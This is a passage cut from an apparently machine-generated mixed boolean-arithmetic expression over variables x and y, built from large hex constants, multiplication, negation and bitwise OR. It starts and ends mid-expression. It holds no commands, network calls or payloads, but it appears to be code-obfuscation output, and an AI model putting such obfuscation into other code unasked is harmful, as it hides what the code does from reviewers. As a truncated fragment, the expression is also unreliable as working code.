(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)